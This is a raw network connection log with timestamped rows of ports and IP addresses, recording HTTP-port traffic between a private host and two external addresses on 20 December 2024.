Dec 20, 2024 04:12:49.676713943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.676749945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.677771091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.677815914 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.677871943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.677906036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.678848982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.678883076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.678950071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.678985119 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.679970980 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.680008888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.680064917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.680099964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.681047916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.681085110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.681112051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.681145906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.682154894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.682189941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.682252884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.682288885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.683269978 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.683310032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.683374882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.683413982 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.684351921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.684396029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.684472084 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.684513092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.685480118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.685528040 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.685583115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.685617924 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.686614037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.686661005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.686733961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.686767101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.687715054 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.687763929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.687798023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.687835932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.688828945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.688874006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.688990116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.689030886 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.689910889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.689956903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.690037966 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.690076113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.691014051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.691056967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.691119909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.691158056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.692131042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.692178965 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.692204952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.692241907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.693233967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.693274975 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.693332911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.693368912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.694334030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.694372892 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.694436073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.694473028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.695445061 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.695483923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.695538998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.695575953 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.696538925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.696577072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.696636915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.696676970 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.697659016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.697701931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.697730064 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.697772980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.698776960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.698822975 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.698852062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.698892117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.699855089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.699898005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.699959040 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.700004101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.700964928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.701009035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.701059103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.701100111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.702070951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.702131033 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.702183008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.702218056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.703185081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.703224897 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.703386068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.703422070 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.704293966 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.704329014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.704401970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.704438925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.705400944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.705435991 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.705498934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.705535889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.706496000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.706530094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.706541061 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.706571102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.707612991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.707652092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.707710981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.707750082 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.708705902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.708741903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.708808899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.708844900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.709779024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.709815025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.762726068 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.762736082 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.762769938 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.762815952 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.762816906 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.762856007 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.762871027 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.762878895 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.762926102 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.762928963 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.762970924 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.762980938 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763029099 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.763031960 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763075113 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.763111115 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763120890 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763174057 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.763196945 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763237953 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763259888 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.763295889 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.763295889 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763339996 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.763360977 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763433933 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763528109 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763572931 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763628960 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763715982 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763794899 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763864040 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.763915062 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764060020 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764069080 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764137030 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.764193058 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764203072 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764218092 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764242887 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.764276981 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.764277935 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764323950 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.764338970 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764394045 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.764405966 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.764451027 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.771727085 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.771802902 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.816570044 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.816647053 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.844311953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.844369888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.844413042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.844450951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.844815969 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.844862938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.844923019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.844966888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.845952034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.845997095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.846061945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.846105099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.847034931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.847075939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.847084999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.847129107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.848140001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.848186016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.848258972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.848320007 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.849240065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.849282980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.849344969 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.849386930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.850343943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.850387096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.850461960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.850507021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.851453066 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.851496935 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.851556063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.851602077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.852560043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.852607012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.852669001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.852711916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.853660107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.853703976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.853766918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.853809118 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.854774952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.854821920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.854852915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.854893923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.855896950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.855938911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.855998993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.856040001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.856997013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.857040882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.857105970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.857142925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.858102083 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.858149052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.858206034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.858247995 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.859204054 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.859250069 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.859289885 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.859338999 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.860321999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.860368967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.860411882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.860455036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.861432076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.861478090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.861531973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.861574888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.862524033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.862566948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.862610102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.862660885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.863622904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.863667965 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.863702059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.863749981 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.864716053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.864753008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.864828110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.864871979 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.865834951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.865879059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.865927935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.865969896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.866936922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.866976976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.867043018 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.867079973 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.868046999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.868092060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.868146896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.868185997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.869143009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.869189024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.869245052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.869282007 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.870255947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.870299101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.870325089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.870376110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.871371031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.871421099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.871469021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.871516943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.872572899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.872617960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.872641087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.872687101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.873598099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.873645067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.873769045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.873811007 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.874679089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.874722004 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.874778986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.874821901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.875782013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.875816107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.875893116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.875935078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.876930952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.876969099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.877034903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.877078056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.878020048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.878063917 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.878125906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.878179073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.879111052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.879157066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.879213095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.879254103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.880207062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.880249977 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.880328894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.880381107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.881325960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.881369114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.881434917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.881479979 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.882505894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.882551908 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.882572889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.882582903 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.882615089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.882633924 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.882638931 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.882683039 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.882755041 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.882863998 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.882905960 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883003950 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883074045 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883136034 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883212090 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883260965 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883342981 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883379936 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883498907 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883569002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.883615017 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.883625984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.883635998 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883680105 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.883760929 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883770943 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883779049 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883790016 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.883807898 CET	80	49887	147.45.113.159	192.168.2.4
